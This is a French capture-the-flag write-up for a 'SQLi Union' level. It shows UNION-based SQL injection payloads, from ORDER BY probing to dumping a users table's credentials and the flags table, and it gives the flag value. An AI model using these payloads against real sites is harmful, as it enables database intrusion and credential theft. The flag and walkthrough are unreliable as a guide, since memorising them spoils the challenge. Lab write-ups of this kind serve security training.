SQLi Union
Consignes
Aucune pour ce niveau
Réalisation
On se rend sur le site et on renseigne un id pour observer ce qu'il se passe.
En entrant l'id 1
, on obtient ceci :
On recherche le nombre de colonnes disponibles dans le tableau d'affichage : en modifiant l'URL avec ces valeurs :
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--
On continue jusquâĂ ce que l'on ai une erreur : le dernier avant lâerreur donne le nombre de colonnes.
Dans notre cas, ?id=1' ORDER BY 3--
nous retourne ceci :
Error:
1st ORDER BY term out of range - should be between 1 and 2
Ceci signifie donc que nous n'avons que 2 colonnes de disponibles.
Maintenant, on test ce payload pour voir si les donnĂ©es des colonnes concernĂ©es sâaffichent :
?id=-1' UNION SELECT 1,2--
Nous obtenons donc ceci :
[(1, 2)]
On remplace maintenant 1 et 2 dans notre requĂȘte par username
et password
en essayant de taper la table users
:
?id=-1' UNION SELECT username, password FROM users--
Voici le résultat obtenu :
[('john.doe', 'password123')]
On cherche ensuite Ă trouver le FLAG.
Pour ceci, on part du principe qu'il se trouve dans la table flags
:
?id=-1' UNION SELECT username, password FROM flags--
Le site nous retourne une erreur :
Error:
no such column: username
Nous allons donc changer notre requĂȘte afin de ne plus prendre en compte les colonnes nommĂ©es username
et password
.
Cependant, nous ne connaissons pas le nom des colonnes.
Or, en SQL, nous pouvons récupérer l'ensemble des informations d'une table à l'aide du caractÚre *
.
On execute alors la requĂȘte suivante :
?id=-1' UNION SELECT * FROM flags--
Le site nous retourne alors ceci :
[(1, '2600{kqcv8lSNC1LF-udqT6pPNQ}')]
On dispose alors du FLAG :
2600{kqcv8lSNC1LF-udqT6pPNQ}
Last updated